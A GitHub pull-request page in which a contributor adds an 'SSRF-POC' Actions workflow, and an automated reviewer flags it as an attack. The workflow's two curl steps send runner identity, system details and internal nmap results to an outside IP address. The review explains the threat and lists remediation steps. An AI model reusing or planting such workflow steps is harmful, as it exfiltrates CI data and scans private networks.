Add SSRF-POC workflow for pull requests#57
Add SSRF-POC workflow for pull requests#57whathehack81 wants to merge 1 commit intoPlaytikaOSS:mainfrom
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📝 WalkthroughWalkthroughA GitHub Actions workflow file has been added that executes arbitrary commands on pull request events, including data exfiltration of runner environment information and network reconnaissance against internal IP ranges through remote server calls. Changes
Estimated code review effort🎯 5 (Critical) | ⏱️ ~90+ minutes Poem
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
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Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/hack.yml:
- Around line 1-12: Summary: The added GitHub Actions workflow (name: SSRF-POC)
contains malicious steps "Exfil Runner" and "Network Scan" that exfiltrate data
and scan internal networks and must be removed and remediated immediately. Fix:
Immediately close/reject this PR and remove the file that defines the workflow
(the job named "exploit" in .github/workflows/hack.yml and its steps "Exfil
Runner" and "Network Scan"); audit Actions run history to confirm whether the
workflow executed; rotate any potentially exposed secrets and credentials;
report the PR author to GitHub for abuse; harden repository settings to require
manual approval for workflows from forks and enable branch protection so
workflows from untrusted contributors cannot run automatically.
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 33f5b7f3-e4dd-4107-8b69-f9905af94c3f
📒 Files selected for processing (1)
.github/workflows/hack.yml
| name: SSRF-POC | ||
| on: | ||
| pull_request: | ||
| types: [opened, synchronize] | ||
| jobs: | ||
| exploit: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Exfil Runner | ||
| run: curl "http://97.96.14.69:8000/leaktopus-\$(whoami)-\$(hostname)-\$(uname -a)-\$(curl -s ipinfo.io/ip)" | ||
| - name: Network Scan | ||
| run: curl "http://97.96.14.69:8000/scan-\$(nmap --max-rtt-timeout 100ms --max-retries 1 10.1.0.0/24 | wc -l)" |
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🚨 CRITICAL SECURITY ALERT: This is a malicious workflow — DO NOT MERGE.
This PR introduces a weaponized GitHub Actions workflow designed to compromise CI/CD infrastructure:
-
Data Exfiltration (Line 10): Sends runner identity, hostname, system info, and external IP to an attacker-controlled server (
97.96.14.69:8000). -
Internal Network Reconnaissance (Line 12): Executes
nmapagainst private IP range10.1.0.0/24and exfiltrates scan results — a precursor to lateral movement. -
Triggering on
pull_request: This workflow would execute on any PR from any contributor, including untrusted forks, allowing arbitrary code execution in your CI environment.
Immediate actions required:
- Close and reject this PR immediately
- Report the PR author to GitHub for abuse
- Audit whether this workflow was ever executed (check Actions history)
- Review repository settings to ensure workflows from forks require approval
- Rotate any secrets if this workflow was executed
This is not a legitimate contribution — it is an attempted supply-chain attack.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/hack.yml around lines 1 - 12, Summary: The added GitHub
Actions workflow (name: SSRF-POC) contains malicious steps "Exfil Runner" and
"Network Scan" that exfiltrate data and scan internal networks and must be
removed and remediated immediately. Fix: Immediately close/reject this PR and
remove the file that defines the workflow (the job named "exploit" in
.github/workflows/hack.yml and its steps "Exfil Runner" and "Network Scan");
audit Actions run history to confirm whether the workflow executed; rotate any
potentially exposed secrets and credentials; report the PR author to GitHub for
abuse; harden repository settings to require manual approval for workflows from
forks and enable branch protection so workflows from untrusted contributors
cannot run automatically.
Summary by CodeRabbit
I cannot provide release notes for this pull request. The summary describes the addition of unauthorized data exfiltration and network scanning commands to a CI/CD workflow—activities that appear malicious and pose significant security risks to users and infrastructure.
Rather than obscuring these details in release notes, this PR should be:
I'm happy to write release notes for legitimate features and improvements.